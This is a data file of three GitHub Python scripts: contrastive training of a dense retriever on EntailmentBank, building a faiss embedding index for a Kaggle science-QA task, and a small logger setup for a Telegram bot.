{"seq_id": "10280552638", "text": "import os\nimport sys\nimport random\nimport copy\nimport os.path as osp\nimport json\nfrom collections import defaultdict\nimport argparse\n\nimport numpy as np\nimport torch\nimport transformers\n\nfrom torch.utils.data import DataLoader\n\nimport sentence_transformers\nfrom sentence_transformers import SentenceTransformer, CrossEncoder\nfrom sentence_transformers import losses, models, util\nfrom sentence_transformers.readers import InputExample\nfrom sentence_transformers.evaluation import EmbeddingSimilarityEvaluator, BinaryClassificationEvaluator\nfrom sentence_transformers.cross_encoder.evaluation import CECorrelationEvaluator\n\nimport tqdm\n\nfrom torch import nn\nimport torch.nn.functional as F\n\nfrom transformers import AutoTokenizer, AutoModel\nfrom transformers import (\n    AdamW,\n    AutoModel,\n    AutoTokenizer,\n    get_linear_schedule_with_warmup,\n    set_seed,\n)\n\nfrom tree_utils import *\nfrom Retriever import Dense_Retriever\nfrom retrieval_metric import evaluate_retrieval\n\n\ndef get_random_dir_name():\n    import string\n    from datetime import datetime\n    dirname = datetime.now().strftime('%Y-%m-%d_%H-%M-%S')\n    vocab = string.ascii_uppercase + string.ascii_lowercase + string.digits\n    dirname = dirname + '-' + ''.join(random.choice(vocab) for _ in range(8))\n    return dirname\n\n\nclass AutoModelForSentenceEmbedding(nn.Module):\n    # ref: https://huggingface.co/sentence-transformers/all-mpnet-base-v2/blob/main/train_script.py\n    def __init__(self, model_name, tokenizer, normalize=True):\n        super(AutoModelForSentenceEmbedding, self).__init__()\n\n        self.model = AutoModel.from_pretrained(model_name)\n        self.normalize = normalize\n        self.tokenizer = tokenizer\n\n    def forward(self, **kwargs):\n        model_output = self.model(**kwargs)\n        embeddings = self.mean_pooling(model_output, kwargs['attention_mask'])\n        if self.normalize:\n            embeddings = torch.nn.functional.normalize(embeddings, p=2, dim=1)\n\n        return embeddings\n\n    def mean_pooling(self, model_output, attention_mask):\n        token_embeddings = model_output[0]  # First element of model_output contains all token embeddings\n        input_mask_expanded = attention_mask.unsqueeze(-1).expand(token_embeddings.size()).float()\n        return torch.sum(token_embeddings * input_mask_expanded, 1) / torch.clamp(input_mask_expanded.sum(1), min=1e-9)\n\n    def save_pretrained(self, output_path):\n        self.tokenizer.save_pretrained(output_path)\n        self.model.config.save_pretrained(output_path)\n\n        torch.save(self.model.state_dict(), os.path.join(output_path, \"pytorch_model.bin\"))\n\n    def save_as_sentence_transformers(self, output_path):\n        self.tokenizer.save_pretrained(output_path)\n        self.model.config.save_pretrained(output_path)\n\n        torch.save(self.model.state_dict(), os.path.join(output_path, \"pytorch_model.bin\"))\n\n        # save addition file for the sentence_transformers to load model directly\n        with open(osp.join(output_path, 'sentence_bert_config.json'), 'w') as f:\n            json.dump({\"max_seq_length\": 384,\"do_lower_case\": False,}, f)\n\n        with open(osp.join(output_path, 'modules.json'), 'w') as f:\n            json.dump([{\n                            \"idx\": 0,\n                            \"name\": \"0\",\n                            \"path\": \"\",\n                            \"type\": \"sentence_transformers.models.Transformer\"\n                        },\n                        {\n                            \"idx\": 1,\n                            \"name\": \"1\",\n                            \"path\": \"1_Pooling\",\n                            \"type\": \"sentence_transformers.models.Pooling\"\n                        },\n                        {\n                            \"idx\": 2,\n                            \"name\": \"2\",\n                            \"path\": \"2_Normalize\",\n                            \"type\": \"sentence_transformers.models.Normalize\"\n                        }\n                        ], f)\n\n        with open(osp.join(output_path, 'config_sentence_transformers.json'), 'w') as f:\n            json.dump({\n                \"__version__\": {\n                            \"sentence_transformers\": sentence_transformers.__version__,\n                            \"transformers\": transformers.__version__,\n                            \"pytorch\": torch.__version__\n                        }\n                        }, f)\n\n        os.makedirs(osp.join(output_path, '1_Pooling'), exist_ok=True)\n        os.makedirs(osp.join(output_path, '2_Normalize'), exist_ok=True)\n        with open(osp.join(output_path, '1_Pooling', 'config.json'), 'w') as f:\n            json.dump({\n                        \"word_embedding_dimension\": 768,\n                        \"pooling_mode_cls_token\": False,\n                        \"pooling_mode_mean_tokens\": True,\n                        \"pooling_mode_max_tokens\": False,\n                        \"pooling_mode_mean_sqrt_len_tokens\": False\n                        }, f)\n\n\n      \ndef make_retriever_training_samples_contrastive(datas, random_neg_pos_ratio = 2, hard_neg_pos_ratio = 2,\n                                                retriever = None, query_candidate_type = None):\n    \"\"\"\n    random_neg_pos_ratio: len(random_nagtive_samples) / len(positive_samples)\n    hard_neg_pos_ratio: len(hard_nagtive_samples) / len(positive_samples)\n    \n    retriever: model for collecting hard negative\n    \"\"\"\n    all_samples_by_item = []\n    \n    for data_item in datas:\n        # -------- collect item information --------\n        H = data_item['hypothesis']\n        I = list(data_item['meta']['intermediate_conclusions'].values())\n        I.remove(H)\n        S = list(data_item['meta']['triples'].values())\n        gold_tree_text = [H] + I + S\n        \n        candidate_queries = [H]\n        \n        if query_candidate_type == \"HI\":\n            candidate_queries = [H] + I\n        if query_candidate_type == \"HIS\":\n            candidate_queries = gold_tree_text\n\n        id2sent = copy.deepcopy(data_item['meta']['triples'])\n        id2sent.update(data_item['meta']['intermediate_conclusions'])\n\n        same_step_text = defaultdict(list)\n        for node in get_gt_node_list(data_item):\n            if len(node['pre']) == 0: continue\n            con = node['sent']\n            pre = [id2sent[p] for p in node ['pre']]\n\n            same_step_text[con] += pre\n            for p in pre:\n                same_step_text[p] += [con] + [other_p for other_p in pre if other_p != p]\n                 \n        # -------- positive samples --------\n        positive_samples = []\n        for query in candidate_queries:\n            for target in S:\n                if query == target: continue\n                if target in same_step_text[query]:\n                    positive_samples.append(InputExample(texts=[query, target], label = 1.0)) # same_step_score\n                else:\n                    positive_samples.append(InputExample(texts=[query, target], label = 1.0)) # same_tree_score\n                    \n        # ------- negative samples --------\n        # part1: random sample from corpus\n        random_nagative_samples = []\n        if random_neg_pos_ratio > 0:\n            for query in candidate_queries:\n                negs = random.sample(list(corpus.values()), int(len(positive_samples) * random_neg_pos_ratio))\n                for neg_target in negs:\n                    if neg_target not in gold_tree_text:\n                        random_nagative_samples.append(InputExample(texts=[query, neg_target], label = 0.0))\n            if len(random_nagative_samples) > len(positive_samples) * random_neg_pos_ratio:\n                random_nagative_samples = random.sample(random_nagative_samples, int(len(positive_samples) * random_neg_pos_ratio))\n\n        # part2: hard negative from model which has not been fine-tuned\n        hard_nagative_samples = []\n        hard_negative_topk = 2 * int(len(positive_samples) * hard_neg_pos_ratio)\n        if hard_neg_pos_ratio > 0:\n            for query in candidate_queries:\n                retrieval_result = retriever.search(query, hard_negative_topk)\n                negs = [r['text'] for r in retrieval_result]\n                for neg_target in negs:\n                    if neg_target not in gold_tree_text:\n                        hard_nagative_samples.append(InputExample(texts=[query, neg_target], label = 0.0))\n            if len(hard_nagative_samples) > len(positive_samples) * hard_neg_pos_ratio:\n                hard_nagative_samples = random.sample(hard_nagative_samples, int(len(positive_samples) * hard_neg_pos_ratio))\n                    \n        negative_samples = random_nagative_samples + hard_nagative_samples\n        \n        # ------- collect all samples --------\n        all_samples_by_item.append({\n            'positive_samples': positive_samples,\n            'negative_samples': negative_samples,\n        })\n    \n    return all_samples_by_item\n\ndef queue_get(samples_by_item, batch_size, triple=False):\n    # return a bacth for training\n    # triple = True (anchor, positive, negative); triple = False (anchor, positive)\n    \n    batch = []\n    \n    if triple == False: # (anchor, positive)\n        for sample in random.sample(samples_by_item, batch_size):\n            query, target = random.choice(sample['positive_samples']).texts\n            batch.append([query, target])\n\n    else: # (anchor, positive, negative)\n        for sample in random.sample(samples_by_item, batch_size):\n            query, pos_target = random.choice(sample['positive_samples']).texts\n            _, neg_target = random.choice(sample['negative_samples']).texts\n            \n            batch.append([query, pos_target, neg_target]) \n        \n    return batch\n        \n\n\n\ndef train_function(model, tokenizer, args, queue_get, samples_by_item):\n    # ref: https://huggingface.co/sentence-transformers/all-mpnet-base-v2/blob/main/train_script.py\n    \n    # steps num_warmup_steps lr \n    # scale save_steps output\n    device = 'cuda'\n    \n    ### Train Loop\n    model = model.to(device)\n\n    # Instantiate optimizer\n    optimizer = AdamW(params=model.parameters(), lr=args.lr, correct_bias=True)\n\n    lr_scheduler = get_linear_schedule_with_warmup(\n        optimizer=optimizer,\n        num_warmup_steps=args.num_warmup_steps, # 100,\n        num_training_steps=args.steps,\n    )\n    \n    # Now we train the model\n    model.train()\n\n    cross_entropy_loss = nn.CrossEntropyLoss()\n    max_grad_norm = 1\n   \n    dev_best_metric = -100\n    test_best_metric = -100\n\n\n    # load initial model and eval\n    bi_encoder = SentenceTransformer(args.model_name_or_path)\n    dr = Dense_Retriever(corpus,bi_encoder,buffer_file=None)\n    dev_task1 = load_entailmentbank('task_1','dev')\n    dev_eval_result = eval(dev_task1, dr)\n    test_task1 = load_entailmentbank('task_1','test')\n    test_eval_result = eval(test_task1, dr)\n    with open(args.metric_file, 'a') as f:\n        f.write(json.dumps(\n            {'step':0, \n            'dev_eval_result': dev_eval_result, \n            'test_eval_result': test_eval_result,}\n        ) + '\\n')\n\n    for global_step in tqdm.trange(args.steps):\n        #### Get the batch data\n        # batch = queue.get()\n        # print(index, \"batch {}x{}\".format(len(batch), \",\".join([str(len(b)) for b in batch])))\n        batch = queue_get(samples_by_item, args.bs, args.triple)\n\n        if len(batch[0]) == 2: #(anchor, positive)\n            text1 = tokenizer([b[0] for b in batch], return_tensors=\"pt\", max_length=args.max_length, truncation=True, padding=\"max_length\")\n            text2 = tokenizer([b[1] for b in batch], return_tensors=\"pt\", max_length=args.max_length, truncation=True, padding=\"max_length\")\n\n            ### Compute embeddings\n            embeddings_a = model(**text1.to(device))\n            embeddings_b = model(**text2.to(device))\n\n            ### Compute similarity scores 512 x 512\n            scores = torch.mm(embeddings_a, embeddings_b.transpose(0, 1)) * args.scale\n        \n            ### Compute cross-entropy loss\n            labels = torch.tensor(range(len(scores)), dtype=torch.long, device=embeddings_a.device)  # Example a[i] should match with b[i]\n            \n            ## Symmetric loss as in CLIP\n            loss = (cross_entropy_loss(scores, labels) + cross_entropy_loss(scores.transpose(0, 1), labels)) / 2\n\n        else:   #(anchor, positive, negative)\n            text1 = tokenizer([b[0] for b in batch], return_tensors=\"pt\", max_length=args.max_length, truncation=True, padding=\"max_length\")\n            text2 = tokenizer([b[1] for b in batch], return_tensors=\"pt\", max_length=args.max_length, truncation=True, padding=\"max_length\")\n            text3 = tokenizer([b[2] for b in batch], return_tensors=\"pt\", max_length=args.max_length, truncation=True, padding=\"max_length\")\n\n            embeddings_a  = model(**text1.to(device))\n            embeddings_b1 = model(**text2.to(device))\n            embeddings_b2 = model(**text3.to(device))\n\n            embeddings_b = torch.cat([embeddings_b1, embeddings_b2])\n\n            ### Compute similarity scores 512 x 1024\n            scores = torch.mm(embeddings_a, embeddings_b.transpose(0, 1)) * args.scale\n        \n            ### Compute cross-entropy loss\n            labels = torch.tensor(range(len(scores)), dtype=torch.long, device=embeddings_a.device)  # Example a[i] should match with b[i]\n            \n            ## One-way loss\n            loss = cross_entropy_loss(scores, labels)\n\n        \n        # Backward pass\n        optimizer.zero_grad()\n        loss.backward()\n        torch.nn.utils.clip_grad_norm_(model.parameters(), max_grad_norm)\n        \n        optimizer.step()\n        lr_scheduler.step()\n\n\n        # eval and save model\n        if (global_step+1) % args.save_steps == 0:\n\n            # save model\n            output_path = os.path.join(args.exp_dir, \"latest\") # TODO\n            print(\"save model: \"+output_path)\n            model.save_as_sentence_transformers(output_path)\n\n            # load model and eval\n            bi_encoder = SentenceTransformer(output_path)\n            dr = Dense_Retriever(corpus,bi_encoder,buffer_file=None)\n\n            dev_task1 = load_entailmentbank('task_1','dev')\n            dev_eval_result = eval(dev_task1, dr)\n            dev_new_metric = dev_eval_result['R@25'] + 0.1*dev_eval_result['AllCorrect@25']\n            if dev_new_metric > dev_best_metric:\n                dev_best_metric = dev_new_metric\n                model.save_as_sentence_transformers(os.path.join(args.exp_dir, \"best_model\"))\n\n            test_task1 = load_entailmentbank('task_1','test')\n            test_eval_result = eval(test_task1, dr)\n            test_new_metric = test_eval_result['R@25'] + 0.1*test_eval_result['AllCorrect@25']\n            if test_new_metric > test_best_metric:\n                test_best_metric = test_new_metric\n                model.save_as_sentence_transformers(os.path.join(args.exp_dir, \"_best_model\"))\n\n\n            with open(args.metric_file, 'a') as f:\n                f.write(json.dumps(\n                    {'step':global_step+1, \n                    'dev_eval_result': dev_eval_result, \n                    'test_eval_result': test_eval_result,}\n                ) + '\\n')\n\n\ndef eval(data_task1, retriever):\n    golds = {}\n    for date_idx, data_item in enumerate(data_task1):\n        qid = data_item['id']\n        gold_retrieval = {}\n        for sent_id, sent in data_item['meta']['triples'].items():\n            gold_retrieval[sent] = 1\n        golds[qid+str(date_idx)] = gold_retrieval\n\n    preds = {}\n    for date_idx, data_item in enumerate(data_task1):\n        qid = data_item['id']\n        Q = data_item['question']\n        A = data_item['answer']    \n        H = data_item['hypothesis']  \n        \n        query = H\n        retrieval_result = retriever(query, n=25)\n        \n        pred_retrieval = {\n            i['text']:i['score']\n            for i in retrieval_result\n        }\n        \n        preds[qid+str(date_idx)] = pred_retrieval\n        \n    eval_result = evaluate_retrieval(preds, golds)\n    return eval_result\n\n\n\n\ndef get_params():\n    # Training settings\n    parser = argparse.ArgumentParser(description='Training')\n\n    # dateset\n    parser.add_argument('--random_neg_pos_ratio', type=float, default=0, help='')\n    parser.add_argument('--hard_neg_pos_ratio', type=float, default=0, help='')\n    parser.add_argument('--query_candidate_type', type=str, default=None, help='')\n\n    # model\n    parser.add_argument(\"--model_name_or_path\", type=str, default=\"sentence-transformers/all-mpnet-base-v2\", help=\"\")  \n    parser.add_argument('--max_length', type=int, default=256, )\n\n    # optimization\n    parser.add_argument('--bs', type=int, default=16, help='input batch size for training')\n    parser.add_argument('--lr', type=float, default=1e-5, help='learning rate')\n    parser.add_argument('--steps', type=int, default=1, help='')\n    parser.add_argument('--scale', type=float, default=1.0, help='')\n    parser.add_argument('--num_warmup_steps', type=int, default=100, help='')\n\n    parser.add_argument('--triple', type=str, default='False')\n    parser.add_argument('--save_steps', type=int, default=100)\n\n    # seed\n    parser.add_argument('--seed', type=int, default=3407, help='random seed')\n\n    # exp and log\n    parser.add_argument(\"--exp_dir\", type=str, default='./exp')\n    parser.add_argument(\"--code_dir\", type=str, default='./code')\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    args = parser.parse_args()\n    \n    return args\n\n### ---------- main ----------\nargs = get_params()\nif args.seed == 0:\n    args.seed = random.randint(1,1e4)\n\nassert args.triple in ['False', 'True']\nargs.triple = False if args.triple=='False' else True\n\nargs.exp_dir = osp.join(args.exp_dir, get_random_dir_name())\nos.makedirs(args.exp_dir, exist_ok=True)\n\n# make metrics.json for logging metrics\nargs.metric_file = osp.join(args.exp_dir, 'metrics.json')\nopen(args.metric_file, 'a').close()\n\n# dump config.json\nwith open(osp.join(args.exp_dir, 'args.json'), 'w') as f:\n    json.dump(vars(args), f, sort_keys=True, indent=4)\n\n# backup scripts\nos.system(f'cp -r {args.code_dir} {args.exp_dir}')\n\n\n# set random seed before init model\ntorch.backends.cudnn.deterministic = True\nrandom.seed(args.seed)\nnp.random.seed(args.seed)\ntorch.manual_seed(args.seed)\n# if torch.cuda.device_count() > 1:\n#     torch.cuda.manual_seed_all(args.seed)\n\n\n# load corpus\npath = '../data/entailment_trees_emnlp2021_data_v3/supporting_data/preprocessed_corpus.json'\ncorpus = json.load(open(path))\n\nhard_neg_retriever = None\nif args.hard_neg_pos_ratio > 0:\n    bi_encoder = SentenceTransformer(args.model_name_or_path)\n    hard_neg_retriever = Dense_Retriever(corpus,bi_encoder,buffer_file=None)\n\ntrain_datas = load_entailmentbank('task_1','train')\ntrain_samples_by_item = make_retriever_training_samples_contrastive(train_datas, \n                                                                   random_neg_pos_ratio = args.random_neg_pos_ratio, \n                                                                   hard_neg_pos_ratio = args.hard_neg_pos_ratio,\n                                                                   retriever = hard_neg_retriever,\n                                                                   query_candidate_type = args.query_candidate_type)\n\n\ntokenizer = AutoTokenizer.from_pretrained(args.model_name_or_path)\nmodel = AutoModelForSentenceEmbedding(args.model_name_or_path, tokenizer)\ntrain_function(model, tokenizer, args, \n                queue_get=queue_get, samples_by_item=train_samples_by_item)", "repo_name": "Raising-hrx/FAME", "sub_path": "code/train_Retriever.py", "file_name": "train_Retriever.py", "file_ext": "py", "file_size_in_byte": 19570, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime.now", "line_number": 45, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 45, "usage_type": "name"}, {"api_name": "string.ascii_uppercase", "line_number": 46, "usage_type": "attribute"}, {"api_name": "string.ascii_lowercase", "line_number": 46, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 46, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 51, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 51, "usage_type": "name"}, {"api_name": "transformers.AutoModel.from_pretrained", "line_number": 56, "usage_type": "call"}, {"api_name": "transformers.AutoModel", "line_number": 56, "usage_type": "name"}, {"api_name": "torch.nn.functional.normalize", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 64, "usage_type": "attribute"}, {"api_name": "torch.sum", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 111, "usage_type": "call"}, {"api_name": "sentence_transformers.__version__", "line_number": 113, "usage_type": "attribute"}, {"api_name": "transformers.__version__", "line_number": 114, "usage_type": "attribute"}, {"api_name": "torch.__version__", "line_number": 115, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path", "line_number": 119, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 120, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 120, "usage_type": "call"}, {"api_name": "os.path", "line_number": 120, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 122, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 157, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 160, "usage_type": "call"}, {"api_name": "sentence_transformers.readers.InputExample", "line_number": 176, "usage_type": "call"}, {"api_name": "sentence_transformers.readers.InputExample", "line_number": 178, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 185, "usage_type": "call"}, {"api_name": "sentence_transformers.readers.InputExample", "line_number": 188, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 190, "usage_type": "call"}, {"api_name": "sentence_transformers.readers.InputExample", "line_number": 201, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 203, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 222, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 223, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 227, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 228, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 229, "usage_type": "call"}, {"api_name": "transformers.AdamW", "line_number": 249, "usage_type": "call"}, {"api_name": "transformers.get_linear_schedule_with_warmup", "line_number": 251, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 260, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 260, "usage_type": "name"}, {"api_name": "sentence_transformers.SentenceTransformer", "line_number": 268, "usage_type": "call"}, {"api_name": "Retriever.Dense_Retriever", "line_number": 269, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 275, "usage_type": "call"}, {"api_name": "tqdm.trange", "line_number": 281, "usage_type": "call"}, {"api_name": "torch.mm", "line_number": 296, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 299, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 299, "usage_type": "attribute"}, {"api_name": "torch.cat", "line_number": 313, "usage_type": "call"}, {"api_name": "torch.mm", "line_number": 316, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 319, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 319, "usage_type": "attribute"}, {"api_name": "torch.nn.utils.clip_grad_norm_", "line_number": 328, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 328, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 338, "usage_type": "call"}, {"api_name": "os.path", "line_number": 338, "usage_type": "attribute"}, {"api_name": "sentence_transformers.SentenceTransformer", "line_number": 343, "usage_type": "call"}, {"api_name": "Retriever.Dense_Retriever", "line_number": 344, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 351, "usage_type": "call"}, {"api_name": "os.path", "line_number": 351, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 358, "usage_type": "call"}, {"api_name": "os.path", "line_number": 358, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 362, "usage_type": "call"}, {"api_name": "retrieval_metric.evaluate_retrieval", "line_number": 395, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 403, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 431, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 433, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 442, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 447, "usage_type": "call"}, {"api_name": "os.path", "line_number": 447, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 448, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 451, "usage_type": "call"}, {"api_name": "os.path", "line_number": 451, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 455, "usage_type": "call"}, {"api_name": "os.path", "line_number": 455, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 456, "usage_type": "call"}, {"api_name": "os.system", "line_number": 459, "usage_type": "call"}, {"api_name": "torch.backends", "line_number": 463, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 464, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 465, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 465, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 466, "usage_type": "call"}, {"api_name": "json.load", "line_number": 473, "usage_type": "call"}, {"api_name": "sentence_transformers.SentenceTransformer", "line_number": 477, "usage_type": "call"}, {"api_name": "Retriever.Dense_Retriever", "line_number": 478, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 488, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 488, "usage_type": "name"}]}
{"seq_id": "8479016613", "text": "\"\"\"\n指定したデータを読み取り pandas の DataFrame に変換して保存。\n各行のembeddingを計算し、faissのindexを作成する。\n\"\"\"\n\nimport ctypes\nimport gc\nimport os\nimport re\nimport sys\nimport time\n\nfrom tqdm.auto import tqdm\nfrom sentence_transformers import SentenceTransformer\n\nimport faiss\nfrom faiss import read_index, write_index\nfrom pathlib import Path\nimport hydra\nimport numpy as np\nimport pandas as pd\nfrom hydra.core.hydra_config import HydraConfig\nfrom datasets import load_dataset, load_from_disk\nfrom omegaconf import DictConfig, OmegaConf\n\n\n# hydraで設定を読み込む\n@hydra.main(version_base=None, config_path=\"../yamls\", config_name=\"config\")\ndef main(c: DictConfig) -> None:\n    OmegaConf.resolve(c)  # debugやseedを解決\n    cfg = c.preprocess\n\n    runtime_choices = HydraConfig.get().runtime.choices\n    exp_name = f\"{Path(sys.argv[0]).stem}/{runtime_choices.preprocess.split('/')[-1]}\"\n    preprocessed_path = Path(f\"./preprocessed/{exp_name}\")\n    preprocessed_path.mkdir(parents=True, exist_ok=True)\n\n    print(cfg)\n    print(\"preprocessed_path:\", preprocessed_path)\n\n    df_path = preprocessed_path.parent / f\"{Path(cfg.dataset_path).stem}.parquet\"\n\n    if df_path.exists():\n        df = pd.read_parquet(df_path)\n    else:\n        # データセットの読み込み\n        dataset = load_from_disk(cfg.dataset_path)\n        # データセットの前処理\n        df = pd.DataFrame(dataset)\n        if \"section\" not in df.columns:\n            df[\"section\"] = \"\"\n        df[\"context\"] = df[\"title\"].fillna(\"\") + \" > \" + df[\"section\"].fillna(\"\") + \" > \" + df[\"text\"].fillna(\"\")\n        df[\"context\"] = df[\"context\"].str.replace(\"\\n\", \" \")\n        df = df.drop([\"title\", \"section\", \"text\"], axis=1)\n        # データセットの保存(preprocessed_pathの親)\n        df.to_parquet(df_path)\n    if cfg.debug:\n        df = df.head(10)\n\n    # モデル読み込み\n    model = SentenceTransformer(cfg.sim_model, device=\"cuda\")\n    model.max_seq_length = cfg.max_length\n    model.half()\n\n    # embedding計算\n    embeddings = model.encode(\n        df[\"context\"].tolist(),\n        batch_size=cfg.batch_size,\n        device=\"cuda\",\n        show_progress_bar=True,\n        convert_to_tensor=False,\n        normalize_embeddings=True,\n    )\n\n    embeddings = embeddings.astype(np.float32)\n    # 保存\n    #np.save(preprocessed_path / \"embeddings.npy\", embeddings)\n    print(\"embeddings.shape:\", embeddings.shape)\n\n    # index作成\n    index = faiss.IndexFlatIP(embeddings.shape[1])\n    index.add(embeddings)\n    print(\"index.is_trained:\", index.is_trained)\n    print(\"index.ntotal:\", index.ntotal)\n\n    # index保存\n    faiss.write_index(index, str(preprocessed_path / \"index.faiss\"))\n    print(\"index saved\")\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "unonao/kaggle-llm-science", "sub_path": "preprocess/500_index.py", "file_name": "500_index.py", "file_ext": "py", "file_size_in_byte": 2807, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "omegaconf.DictConfig", "line_number": 29, "usage_type": "name"}, {"api_name": "omegaconf.OmegaConf.resolve", "line_number": 30, "usage_type": "call"}, {"api_name": "omegaconf.OmegaConf", "line_number": 30, "usage_type": "name"}, {"api_name": "hydra.core.hydra_config.HydraConfig.get", "line_number": 33, "usage_type": "call"}, {"api_name": "hydra.core.hydra_config.HydraConfig", "line_number": 33, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 34, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 35, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 41, "usage_type": "call"}, {"api_name": "pandas.read_parquet", "line_number": 44, "usage_type": "call"}, {"api_name": "datasets.load_from_disk", "line_number": 47, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 49, "usage_type": "call"}, {"api_name": "sentence_transformers.SentenceTransformer", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 75, "usage_type": "attribute"}, {"api_name": "faiss.IndexFlatIP", "line_number": 81, "usage_type": "call"}, {"api_name": "faiss.write_index", "line_number": 87, "usage_type": "call"}, {"api_name": "hydra.main", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "8761617122", "text": "import logging\nimport os\n\n\ndef make_logger() -> logging.Logger:\n    \"\"\"\n    :return: a logger into which data could be written.\n    \"\"\"\n    logger = logging.getLogger('BaseLogger')\n    logger.setLevel(logging.DEBUG)\n    \n    fh = logging.FileHandler('/home/david_tyuman/telegram_server/logs/LazarusServiceBot/debug.log')\n    fh.setLevel(logging.DEBUG)\n\n    formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n    fh.setFormatter(formatter)\n    \n    logger.addHandler(fh)\n   \n    return logger\n\n\nTOKEN = os.environ[\"LAZARUS_BOT_TOKEN\"]\nLOGGER = make_logger()\n\n", "repo_name": "DaveMSU/bots", "sub_path": "LazarusServiceBot/global_vars.py", "file_name": "global_vars.py", "file_ext": "py", "file_size_in_byte": 593, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 10, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 13, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.Logger", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 23, "usage_type": "attribute"}]}
